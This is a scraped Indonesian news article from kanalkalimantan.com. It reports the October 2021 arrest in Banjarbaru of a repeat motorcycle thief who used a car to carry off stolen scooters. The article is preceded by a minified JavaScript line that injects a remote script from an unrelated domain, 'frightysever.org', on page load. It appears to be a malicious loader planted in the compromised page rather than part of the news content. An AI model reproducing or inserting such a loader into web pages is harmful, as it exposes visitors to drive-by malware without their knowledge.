(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pencurian kendaraan bermotor (Curanmor) dengan modus mengangkut kendaraan ke dalam mobil, sempat viral di Banjarbaru beberapa waktu lalu. Aksi yang dilakukan tersangka Junaidi (42) di Jalan Karang Anyar 1 Kelurahan Loktabat Utara, Kecamatan Banjarbaru Utara, pada Kamis (7/10/2021) sempat terekam CCTV.
Berdasarkan video viral tersebut, Unit Buser Polsek Banjarbaru Kota dipimpin Kanit Reskrim AKP Yuli Tetro setelah berburu selama 10 hari, akhirnya berhasil mengamankan pelaku Junaidi, pada Minggu (17/10/2021) sekitar pukul 22.00 Wita di Jalan Mistar Cokrokusumo, Kelurahan Sungai Besar.
Sebelumnya, Junaidi terekam CCTV melakukan aksi pencurian dengan memasukkan motor Vario DA 6586 PAC ke dalam mobil Honda Freed warna hitam.
Kapolsek Banjarbaru Kota, AKP Shofiyah menerangkan, saat ditangkap pelaku sempat melakukan perlawanan kepada petugas, sehingga diambil tindakan terukur dengan menembak pada bagian kaki.
Baca juga : PUPR Banjar Gelar Sosialisasi Perda Tentang RTRW Kabupaten Banjar Tahun 2021-2041
“Pelaku terkenal licin sempat melakukan perlawanan dan bergumul dengan salah seorang petugas, kemudian pelaku diberikan tindakan tegas terukur hingga mengenai kaki kanan dan kiri untuk melumpuhkannya,” ucap Kapolsek.
Diketahui Junaidi baru saja keluar dari lembaga pemasyarakatan dengan kasus yang sama.
Kapolsek menjelaskan, modus pelaku memang mengincar kendaraan bermotor yang ditinggalkan pemiliknya. Salah satunya sepeda motor Vario di Ruko Maliki Loundry, Jalan Karang Anyar 1, No 42, Loktabat Utara, Banjarbaru.
“Pelaku juga sempat minta tolong pemulung untuk membantu mengangkat motor curiannya. Dengan alasan kehilangan kunci dan dimasukkan ke dalam mobil Honda Freed yang dibawa tersangka,” bebernya.
Baca juga : Keuangan PDAM Kapuas Tak Sehat, Gaji Karyawan Belum Dibayar, Ini Kata Sekda Kapuas
Sementara itu, tersangka Junaidi sudah dua kali melakukan pencurian ini di Banjarbaru dan Kabupaten Banjar. Dirinya mengaku kepepet, memerlukan uang untuk nikah dan membuka usaha tempat makan.
“Saya baru seminggu menikah dan memerlukan uang untuk buka usaha tempat makan. Sebelumnya saya menjual satu buah kendaraan dengan harga Rp 2,5 juta. Tapi yang terakhir ini belum sempat terjual,” terangnya.
Atas perbuatannya Junaidi dijerat Pasal 363 Kitab Undang-Undang Hukum Pidana (KUHP) tentang pencurian, dengan ancaman hukuman maksimal di atas 5 tahun penjara.(kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : cell
KANALKALIMANTAN.COM, BANJARBARU – Suasana riuh diiringi tawa gembira warga baik tua, muda, hingga anak-anak, larut… Read More
KANALKALIMANTAN.COM, BANJARMASIN – 4 Mei diperingati Hari Bangkit (Harba) organisasi pelajar tertua di Tanah Air,… Read More
KANALKALIMANTAN.COM, - Ajang penghargaan paling dramatis dan paling sensasional yang ditunggu masyarakat, Silet Awards 2024… Read More
KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin mengapreasiasi penyelenggaraan event kontes motor "Entwosiastrokes… Read More
Penerbangan Kloter 1 Sempat Terlambat 30 Menit Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Kejuaraan catur piala Pj Bupati Kapuas se Kalimantan Tengah dibuka oleh… Read More
This website uses cookies.